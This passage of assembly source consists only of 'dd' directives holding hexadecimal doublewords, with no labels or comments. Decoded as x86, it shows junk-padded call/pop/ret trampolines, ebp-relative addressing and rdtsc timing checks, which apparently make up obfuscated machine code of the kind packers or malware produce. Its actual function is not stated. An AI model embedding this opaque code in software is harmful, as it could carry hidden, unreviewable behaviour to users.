		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FEC35545h, 0D3B304C6h
		dd 0E183BADCh, 55006AFCh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 2E6BED6Eh, 0AF5BD8Bh
		dd 6AFC06ACh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4DECC355h, 0B854h, 8A0F0000h
		dd 3, 2B10E780h, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0A9EDD437h, 66F928BEh
		dd 33ADFB8Bh, 3E8D1C2h,	4E983D0h, 5FBFF475h, 0BB05B7F1h
		dd 4920623Ah, 880Dh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 840794B2h, 0B70FF5DCh
		dd 0D958BF8h, 6606AC2Fh, 8B6A34BFh, 0AC1E058Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 2D36D024h, 0F3816679h, 0BD030ABBh, 6AC0DF1h,	34EB8166h
		dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 3E8C352h,	0AC33619Dh, 0C3816606h,	820F2F39h
		dd 6, 162CEF81h, 0BD83494Bh, 6AC1229h, 91840F00h, 0E9000000h
		dd 14h,	94617F7Eh, 0AC11048Ch, 0E1E33547h, 53BEA2E2h, 2A180768h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0C1BC55CBh, 32394290h, 13E8B9AEh
		dd 0BA000000h, 2FD27E58h, 8FD37432h, 0D998FA76h, 0EDE1140Eh
		dd 8509E474h, 6AC3301h,	338D8D5Bh, 6A06AC4Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9512C353h, 0FF697C65h, 7D9D31E1h, 0FC06AC08h, 27F1BD83h
		dd 0F0006ACh, 40784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 8EE0B65Ch, 0E927E473h
		dd 0ECC8BB66h, 27F1BD83h, 0F0106ACh, 3EE84h, 0B7E78100h
		dd 833829D3h, 0AC27F1BDh, 860F0306h, 3A5h, 68D0F60h, 8B000000h
		dd 0AC2AA9BDh, 0D98C6606h, 23D99D8Bh, 0E18006ACh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0A32DD0h, 89BCDD8Fh,	1DC5BD8Bh, 0BD2306ACh, 6AC323Dh
		dd 840FC90Ah, 143h, 5AC78166h, 0ADBD0BBCh, 8B06AC26h, 0AC32B985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 38D5AC1Fh, 29B8ACD4h, 0AC0E419Dh, 0DBBF0F06h
		dd 19E98533h, 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 6B429AC3h, 89A20875h, 0AC0C3D95h
		dd 14BB6606h, 0ABB9028h, 501FCE90h, 6A90FE8Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8171C356h, 8D64D6F3h, 6A006A54h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 5605C356h
		dd 8B2ADA44h, 7B7A68FBh, 0BB668741h, 48197C7h, 0DD888524h
		dd 50006A78h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 8EF50E28h, 4891666Eh, 0B0D8589h,	95FF06ACh
		dd 6AC09BDh, 0BE85060h,	86000000h, 97C1AD84h, 0FDF98DF3h
		dd 595F7B63h, 34BD9D8Bh, 896106ACh, 0AFB21D85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0E9FC34D2h, 19Fh, 8B8EEB80h,	0AFB21585h, 0DB816606h
		dd 0C71DFEh, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F7C35141h, 0C3134EB9h,	0E319D8Bh, 0B58B06ACh
		dd 6AFB219h, 0E0108CBFh, 0A9858B72h, 0BF06AC00h, 41A1337h
		dd 8B560689h, 0AC0D7DBDh, 858B5B06h, 6AC32B9h, 2810Fh
		dd 0D98B0000h, 6A044689h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 5AABC351h, 0BC4C05B8h
		dd 81B2446Eh, 0D5D338EFh, 0DE81Fh, 20830000h, 928469Bh
		dd 3877F4ADh, 33797F46h, 0AC328DBDh, 0E9505B06h, 8, 67E60E7Bh
		dd 0CF96D910h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0D627C356h,	0C6ED0B85h
		dd 0FB3A449h, 0B215B5FFh, 6A06AFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 9530E7C3h, 3EAE31BBh
		dd 0B78DED70h, 18246870h, 8B664DBDh, 243481DAh,	4DA21BDBh
		dd 8DFA8B66h, 0AFB21D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0C3809870h
		dd 8E950DFh, 6F000000h,	48CBB432h, 8982B9C3h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 95FFC5C3h, 6AC09BDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 14C35747h, 59123E40h,	61B37BB6h, 1959BD8Bh
		dd 85C706ACh, 6AC27F1h,	3, 0BD8371B3h, 6AFB21Dh, 56840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 2748C353h, 0DD88ED4Dh,	0BF0FE9CFh
		dd 46E9FFh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0C9CB43C3h, 0E4896FC0h, 896FB615h
		dd 0AC08F1BDh, 0C305006h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h
		dd 7EC35747h, 0CE5F802Ah, 2AB59501h, 0BD8306ACh, 6AC27F1h
		dd 9F850F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 66BFC351h, 0BED0E10h
		dd 8890F15h, 53000000h,	1BA19D8Bh, 835F06ACh, 0AFB21DBDh
		dd 840F0006h, 462h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0C6C35545h, 3891B6FFh, 658589D0h, 0FF06AC31h
		dd 0AFB21DB5h, 1870F06h, 0F5000000h, 9C595FFh, 6A06ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0C229F8C3h, 78A87D66h, 1827E88h, 0AC1111B5h,	11B58B06h
		dd 6606AFB2h, 0AB4EEB81h, 106C7h, 0E8500001h, 0Fh, 5DDCACF8h
		dd 680D93EAh, 0ED217F1h, 0FFE4C5Fh, 28Fh, 5F49B300h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 6B49C352h, 4A1B426Ah, 0BD05CBAFh,	9E9h, 348C2400h
		dd 414EB7E2h, 8166C661h, 0FF351EE7h, 0AFB21DB5h, 14E906h
		dd 99780000h, 524743D5h, 0A4D2A550h, 29317C4Dh,	0A30378B9h
		dd 9D8BD9FEh, 6AC203Dh,	1F5595FFh, 958906ACh, 6AC26A5h
		dd 0B58BF98Ah, 6AFB211h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B0C35747h, 89A4D897h, 0AC10AD9Dh, 0A5BD3306h
		dd 8B06AC33h, 0AC00E585h, 8689F906h, 0C4h, 343DBD33h, 9D8B06ACh
		dd 6AC077Dh, 2F0D958Bh,	6A06ACh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 51DF4FC3h, 890Fh, 835F0000h
		dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 98B75CC3h, 508957B3h, 0BE820h, 0A0400000h
		dd 0B8363580h, 5D6EC7F1h, 0C9B589F4h, 5B06AC1Ch, 0C71E858Dh
		dd 6A06AFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 9A4D02C3h, 66267722h, 838AC781h, 0B88689h
		dd 0DE8B0000h, 0B850Fh,	8F0F0000h, 5, 0A86521BBh, 6A006A44h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BEADC357h, 0E1F73CC4h, 1EE205EEh, 0B21DB5FFh
		dd 6A06AFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 4A2930C3h, 0BF506CE5h, 8E9B8h, 0CE7B0000h
		dd 0EBDB8B2Ch, 0DE8BD392h, 0DA595FFh, 0DB8106ACh, 64A31250h
		dd 0BF525096h, 28C1A2E8h, 0D1B7310Fh, 8A50585Ah, 6A96FEh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B177B3C3h, 19D5B589h, 0BD8B06ACh, 6AC0701h,	14258D01h
		dd 0B5FF06ACh, 6AFB21Dh, 6810F60h, 89000000h, 0AC28518Dh
		dd 0EE96006h, 1F000000h, 8F8BE019h, 0EF42B6BEh,	1A8292E8h
		dd 79B58972h, 6106AC21h, 0D95FF61h, 6A06AC09h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F0EC356h, 68Fh, 0BDBD8B00h,	0F06AC23h, 0BD83DBB7h
		dd 6AC0B61h, 2C840F00h,	89000000h, 0AC20ED9Dh, 0FE906h
		dd 7A780000h, 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0BF66509Ah
		dd 3489C4F4h, 0D7816624h, 0F609A99h, 0FF61F8BFh, 0AFB21DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 6530176Fh, 2DD69FE9h, 0AE85119h,	33000000h
		dd 1260F39Ch, 0F8FF689Bh, 810FCBh, 5F000000h, 3595FF5Bh
		dd 6A06AC21h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 10A6C352h, 0BBC33BCEh,	41580E60h
		dd 0B21DB5FFh, 958906AFh, 6AC0F15h, 14D995FFh, 9D8906ACh
		dd 6AC330Dh, 1E9BD83h, 0F0206ACh, 6784h, 0DE900h, 0B60A0000h
		dd 200ACAB6h, 0A124B7D8h, 8BC5EBF4h, 0AC05A985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 1870E30Eh, 0C6F5151Dh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 640CBEC3h, 0F0BAC6BCh
		dd 663E9EDBh, 57D6CB81h, 300185C7h, 6ACh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 35BA4DC3h, 67E9B2D8h, 6AFFFFF3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4962C352h
		dd 8B660AB8h, 6AC18BDAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 9EA2C356h, 41858DE7h
		dd 6A06AC27h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 105BC356h, 9E99E32Dh, 9618636Ch
		dd 50F98B90h, 90DF8B66h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 95C35040h, 0F8BAFE12h, 6AF3327Ch, 0F3816000h
		dd 5528D9AFh, 11FD958Bh, 0F6106ACh, 6AF9BFh, 1A58BB66h
		dd 361858Dh, 12E806B1h,	8D000000h, 0D1600813h, 7126F7CBh
		dd 44D79DBBh, 2EF02795h, 45BD0B58h, 5F06AC31h, 1DC99D0Bh
		dd 0C08306ACh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B1FFD3Dh, 525090DAh
		dd 310FD98Bh, 5ADF8B66h, 1BBB5058h, 907E51ADh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0A7C35040h, 9D8B006Ah
		dd 6AC0B05h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0E912AEC3h, 0BB36434Eh, 7F995FB7h
		dd 0AF995FFh, 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8CD0FAC3h, 0EE91E00h, 55000000h
		dd 0F7AA0652h, 9E39266Fh, 5756168Ch, 808D8D09h,	0FF06AF8Bh
		dd 1D9D29D1h, 8306AC26h, 0AC0161BDh, 850F0106h,	59h, 6850Fh
		dd 0B5890000h, 6AC142Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 4C05B8C3h, 0B2446EBCh
		dd 509014F9h, 0BB310F52h, 0AB11640h, 6650585Ah,	90BC50BBh
		dd 0FFD88B66h, 0AC0DA595h, 51B58906h, 0F06AC20h, 82h, 0C6CE900h
		dd 0E80000h, 5D000000h,	36BED81h, 6A06B1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0F314AC3h
		dd 9F3F857h, 0AC289DBDh, 0DBB70F06h, 7E3B858Dh,	853106AFh
		dd 6AC0BB1h, 11E950h, 0AC60000h, 33383AF4h, 583948F1h
		dd 2F90A4B7h, 89988340h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0A1FBF6C3h, 6E9BD21h
		dd 0D5000000h, 0D24E766Bh, 35FF649Fh, 0
		dd 281DBD8Bh, 9D8B06ACh, 6AC1AD1h, 258964h, 0E8000000h
		dd 0Bh,	3B703CEFh, 4751861Dh, 8BA4FDC0h, 0AC35359Dh, 85FF5B06h
		dd 6AC3375h, 0FF6AFE8Ah, 1185BD89h, 0B5FF06ACh,	6AC30C5h
		dd 66E6F781h, 95FF47B6h, 6AC2069h, 0D3E9h, 8900B000h, 0AC2FAD9Dh
		dd 8970E606h, 0AC0A3985h, 8B71E406h, 0F613CF9h,	0B783h
		dd 0A72DBF00h, 0B60F305Eh, 0BAF98BC8h, 6, 6860Fh, 0B5890000h
		dd 6AC11C1h, 0FE9C18Bh,	0C1000000h, 4EECB116h, 89B513A8h
		dd 117713A2h, 0F7808D5Dh, 4E8C177h, 24498D89h, 0F76606ACh
		dd 899D89E2h, 2B06AC25h, 0FAE380C8h, 65E9D18Bh,	33000000h
		dd 0AC076D9Dh, 50858B06h, 0FC47554Ch, 8B07C083h, 7929BBDAh
		dd 0C0833207h, 0D03BFC00h, 13830Fh, 8B660000h, 0DF8166F9h
		dd 35E96439h, 89000000h, 0AC00B9BDh, 0FF8D8B06h, 8AFFFFFFh
		dd 1E183FEh, 1E840Fh, 0B5090000h, 6AC12D5h, 0FFFFA583h
		dd 81FEFFFFh, 0DD5761CBh, 5095893Ch, 0E947554Ch, 0
		dd 8396B58Dh, 6A06B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 632D90C3h, 219E946Bh, 6800Fh, 9D8B0000h
		dd 6AC1AF1h, 118D8960h,	8B06AC19h, 0AC32E1B5h, 6A6106h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1AC35242h
		dd 0B7058590h, 0BD8BD88Bh, 6AC23A9h, 214595FFh,	6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 5C4CA5C3h, 0B4B9F533h, 8A00000Fh, 0FCE183DCh, 0B0C670BFh
		dd 6AFC1Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 3D24AC3h,	0B81CBDh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B9AC351h, 0BAF9h, 8E0F0000h, 5, 3314EABBh, 18B0F37h
		dd 0F5000000h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h, 71BD09ECh
		dd 0D06AC30h, 88h, 0E2D9589h, 958B06ACh, 6AC2F0Dh, 0AF19D8Bh
		dd 8D8B06ACh, 6AC1E05h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 12C35545h, 32219D8Bh,	8B5006ACh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 975B529h, 6A06ACh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0D0ADEDC3h, 2C120319h, 0FF932EFh, 688h, 399D8B00h, 8306AC31h
		dd 0AC1229BDh, 840F0006h, 91h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 46C35040h, 0B8DFB70Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0C8C35040h
		dd 0A170A254h, 338D8D88h, 6A06AC4Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A8E0C356h
		dd 6230BB65h, 0E1FF6918h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0E7C35545h, 8AE3083Ch, 0F1BD839Eh, 6AC27h
		dd 42F840Fh, 0DE8B0000h, 27F1BD83h, 0F0106ACh, 43B84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0D2CD3334h, 0BF0FD95Ch, 0F1BD83D8h, 306AC27h
		dd 3D4860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0EA3096C3h, 5C9807E8h, 1C958D89h
		dd 96006ACh, 0AC32C18Dh, 12E906h, 0BB580000h, 1D6B6AAAh
		dd 61C8D036h, 9159070Fh, 9B7D2B59h, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D916C352h, 1D258D31h, 0E18006ACh, 15D38004h, 0ADE8B66h
		dd 2D840FC9h, 60000001h, 858B61F9h, 6AC32B9h, 5870Fh, 81660000h
		dd 33B589F3h, 0AC19E985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F8BE79AFh
		dd 0A454CA00h, 8C0F5Fh,	9000000h, 0AC1C49B5h, 0BB669006h
		dd 8A50F70Dh, 6A90DEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 4FC35040h, 435AFC9Fh,	3A30C622h, 0E8D88B4Ch
		dd 4, 1F03FFh, 168E0Fh,	11E90000h, 0E7000000h, 675A107h
		dd 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h, 8BB7B350h, 66042444h
		dd 8B0345BFh, 0B8666000h, 49BF6360h, 610B9BA7h,	4244489h
		dd 0F860Fh, 0AE90000h, 95000000h, 0F9076FDEh, 0A69B40D7h
		dd 9D295843h, 6AC1E51h,	9BD95FFh, 6A06ACh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 201F7AC3h
		dd 9D012BE7h, 6AC2709h,	0B21D8589h, 0BD3106AFh,	6AC31D5h
		dd 1C7E9h, 0CE85100h, 96000000h, 6FCD7E8Dh, 0FB01A3BCh
		dd 80F42AAAh, 5B5B93EBh, 0B215858Bh, 6A06AFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C78B35C3h
		dd 1800h, 0FA8B6600h, 0B219B58Bh, 858B06AFh, 6AC00A9h
		dd 8E8h, 714E2700h, 0E5012553h,	6895FD1h, 71BD8B60h, 8906AC24h
		dd 0AC197D85h, 858B6106h, 6AC32B9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 5C35040h, 0CFCB095Eh, 0A9A5A197h
		dd 0DFD38166h, 4468991h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D1C35343h, 47FB3CA8h, 60391C5Ah, 8E9h
		dd 8277EE00h, 73924BCDh, 68E0FC8h, 89000000h, 0AC0C2D9Dh
		dd 0F98B6106h, 9E996h, 52480000h, 0A8ABB0DBh, 5082C006h
		dd 48A0Fh, 8B530000h, 66965BDAh, 9509DE8Bh, 6AC330Dh, 0B215B5FFh
		dd 6A06AFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 1C7619C3h, 8B88FCB5h, 0AC1A99BDh,	7DFD6806h
		dd 0FE95FE1h, 8E000000h, 6312D815h, 1993C66h, 0A64C2711h
		dd 34810FBEh, 0FE7E0224h, 9D8B605Fh, 6AC1A3Dh, 61F98B60h
		dd 1D858D61h, 6A06AFB2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E8ADC353h,	0AE9h
		dd 8240A800h, 0D274F3F0h, 5036571Dh, 89FE8B66h,	0BF0F2404h
		dd 0BD95FFD9h, 6A06AC09h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D196C350h,	11C11FA1h
		dd 9D8BD567h, 6AC0955h,	13E78161h, 0C756F10Fh, 0AC27F185h
		dd 306h, 9BD8900h, 8306AC27h, 0AFB21DBDh, 840F0006h, 56h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5C35040h
		dd 3885C501h, 10498AE4h, 918D31ABh, 0E906AC07h,	41h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6EC35747h, 4F0492A2h
		dd 0A307C978h, 3050D98Bh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E51BF325h, 9F35E7BFh
		dd 0BD2BF80Dh, 6AC148Dh, 27F1BD83h, 0F0306ACh, 39385h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0B8D52C60h, 8BDF8B66h, 0AC2B3DBDh, 1DBD8306h
		dd 6AFB2h, 35E840Fh, 0FA8B0000h, 0B21DB5FFh, 6A06AFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0DF9CBFC3h, 6810Fh, 95890000h, 6AC28E1h, 95FFFA8Bh
		dd 6AC09C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	7DC35141h, 0F98B1AECh, 0B211B58Bh, 0BD8B06AFh
		dd 6AC111Dh, 0BC56DB81h, 6C7063Ch, 10001h, 50DBB70Fh, 8B243489h
		dd 0AC04FD9Dh, 0BD9D2306h, 0FF06AC30h, 0AFB21DB5h, 5EDF8106h
		dd 0FF3A147Ch, 0AC1F5595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 60D4980Fh
		dd 1111BD01h, 8B6606ACh, 0B58B61D9h, 6AFB211h, 13D59D89h
		dd 8BF906ACh, 0AC00E585h, 0D99D3306h, 8906AC07h, 0C486h
		dd 9D8B6000h, 6AC0BFDh,	8E8h, 0AF3A6500h, 5AD6B23Bh, 0E5BD8B05h
		dd 5F06AC0Eh, 0D958B61h, 6A06AC2Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0E81EC350h
		dd 0B676A3FBh, 83D8B70Fh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 9D898EC3h, 6AC09C1h
		dd 8B205089h, 0AC00B99Dh, 1E858D06h, 306AFC7h, 0AC3139BDh
		dd 0B8868906h, 0E8000000h, 0Ch,	6F17049Ah, 5348BBC6h, 9D113772h
		dd 0D89DD781h, 6A5F15B8h, 0AE900h, 0C8180000h, 0AB66D839h
		dd 736421D6h, 0B21DB5FFh, 6A06AFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 27B4CEC3h, 10FB7F9h
		dd 0AC1A09B5h, 0A595FF06h, 6A06AC0Dh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 98CDC353h
		dd 27E80A02h, 0AC7CD2ADh, 12E9h, 69DC3800h, 0B9FD9F96h
		dd 7A56E3F4h, 6DDA1989h, 8B6D8B6Eh, 0AC29E9BDh,	8379BB06h
		dd 0BB960CE2h, 72AC686Ch, 0D88B9650h, 0B21DB5FFh, 6A06AFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 816645C3h, 0FF2FA2D7h, 0AC090D95h, 398D2906h, 8306AC09h
		dd 0AC0B61BDh, 840F0006h, 47h, 5E960h, 379A0000h, 0FA480A9h
		dd 9661CEB7h, 14E950h, 0BE380000h, 51F969A9h, 0F707DDD0h
		dd 42DBB4C2h, 0A438C5E2h, 6A96F3B3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FFEFC351h
		dd 0AFB21DB5h, 2EBF6606h, 3595FFEEh, 0F506AC21h, 0B21DB5FFh
		dd 6A06AFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FA8BEC3h, 582h, 9C58BF00h, 95FF10F6h, 6AC14D9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1C35343h, 9992A929h
		dd 1195298Fh, 8306AC26h, 0AC01E9BDh, 840F0206h,	17h, 25E38166h
		dd 0A9858B26h, 6606AC05h, 0C63EC2BBh, 0DFBF0000h, 0C74595E1h
		dd 0AC300185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 6820F7Dh, 89000000h, 0AC00A185h
		dd 39D38006h, 0FFF479E9h, 8BFE8BFFh, 53006AC1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F1CA37D5h
		dd 858D2241h, 6AC2741h,	7E8h, 0DE4ECA00h, 0AB268152h, 5F19D0Bh
		dd 905F06ACh, 310F5250h, 585A76B7h, 2860F50h, 0B7000000h
		dd 6A90E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 7C6370C3h, 6AFB8B66h, 0BDBD8B00h,	6A06AC26h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3BB4E20Bh, 60CF4441h, 81AAD580h,	90CAF9C9h
		dd 858D6118h, 6B11257h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 19C35646h, 7BA36E75h,	0F833712Eh, 32F18D89h
		dd 0F38106ACh, 25E97D6h, 6A05C083h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 412BC356h
		dd 1EA4B554h, 60901263h, 69B9C28Ah, 617B9C04h, 4DBF6650h
		dd 6A90D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0D37869C3h, 7B562233h, 74B27BFh, 6A006A2Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 86A0C357h, 0CB54EFBEh, 102A6A8h, 0AC33619Dh
		dd 0CE806h, 8170000h, 323C1174h, 238C41B3h, 9D234163h
		dd 6AC1CD5h, 6A006A5Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0E65CC350h,	0F2BBC015h
		dd 0FFF5C47Eh, 0AC0AF995h, 9D8BF806h, 6AC0AA1h,	8B808D8Dh
		dd 6A06AFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 27DE5DC3h, 2CF14F73h, 0D88B3654h,	5CE38166h
		dd 6AD1FF74h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0DB1C350h, 0DE9D32Eh, 79FE43D6h
		dd 1E899D89h, 0BD8306ACh, 6AC0161h, 8C850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0C48C350h, 2A317FCEh, 66F90C29h, 6A37E9BBh
